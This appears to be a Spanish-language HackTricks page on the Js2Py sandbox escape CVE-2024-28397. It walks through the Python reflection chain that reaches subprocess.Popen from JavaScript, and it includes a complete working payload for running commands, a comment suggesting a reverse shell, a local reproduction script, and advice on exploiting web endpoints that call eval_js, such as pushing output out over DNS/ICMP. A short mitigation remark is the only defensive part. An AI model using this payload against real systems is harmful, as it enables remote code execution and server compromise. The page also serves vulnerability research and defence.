Js2Py sandbox escape (CVE-2024-28397)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Js2Py traduce JavaScript a objetos Python, por lo que incluso cuando se usa js2py.disable_pyimport(), JS no confiable puede recorrer los internos de Python para alcanzar clases peligrosas como subprocess.Popen. Las versiones 20.74 permiten abusar de los primitivos de reflexión de Python que Js2Py expone a los objetos JS para obtener RCE desde JavaScript que de otro modo estaría “sandboxed”.
Primitiva: pivot desde wrappers de objetos JS a objetos Python
- Obtener un objeto respaldado por Python:
Object.getOwnPropertyNames({})devuelve un objetodict_keysen el espacio de Python. - Recuperar acceso a atributos: obtener
.__getattribute__de ese objeto y llamarlo para leer atributos arbitrarios (p. ej.,"__class__"). - Subir hasta
object: desde<class 'dict_keys'>leer.__base__para alcanzar elobjectbase de Python. - Enumerar clases cargadas: llamar a
object.__subclasses__()para recorrer cada clase ya cargada en el intérprete. - Encontrar
subprocess.Popen: buscar recursivamente en las subclasses donde__module__ == "subprocess"y__name__ == "Popen". - Ejecutar un comando: instanciar Popen con argumentos controlados por el atacante e invocar
.communicate()para capturar la salida.
Ejemplo de payload que abusa de Js2Py para alcanzar subprocess.Popen
```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;
function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }
// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back
</details>
¿Por qué funciona esto?: Js2Py expone envoltorios de objetos de Python a JS sin eliminar `__getattribute__`, `__class__`, `__base__`, o `__subclasses__`. `disable_pyimport()` solo bloquea las llamadas explícitas a `pyimport`, pero la cadena anterior nunca importa nada nuevo; reutiliza módulos y clases ya cargados en memoria.
## Reproduciendo la cadena localmente
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
Operando contra sandboxes web
- Cualquier endpoint que alimente JS controlado por un atacante a
js2py.eval_js(por ejemplo, una API Flask/run_code) es inmediatamente RCE si el usuario del proceso tiene acceso a shell. - Devolver
jsonify({'result': result})fallará cuando.communicate()devuelva bytes; decodifica o redirige la salida a DNS/ICMP para evitar bloqueos de serialización. disable_pyimport()no mitiga esta cadena; se requiere aislamiento fuerte (proceso/contenedor separado) o eliminar la ejecución de código no confiable por parte de Js2Py.
Referencias
- HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)
- Marven11 CVE-2024-28397 Js2Py sandbox escape PoC
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


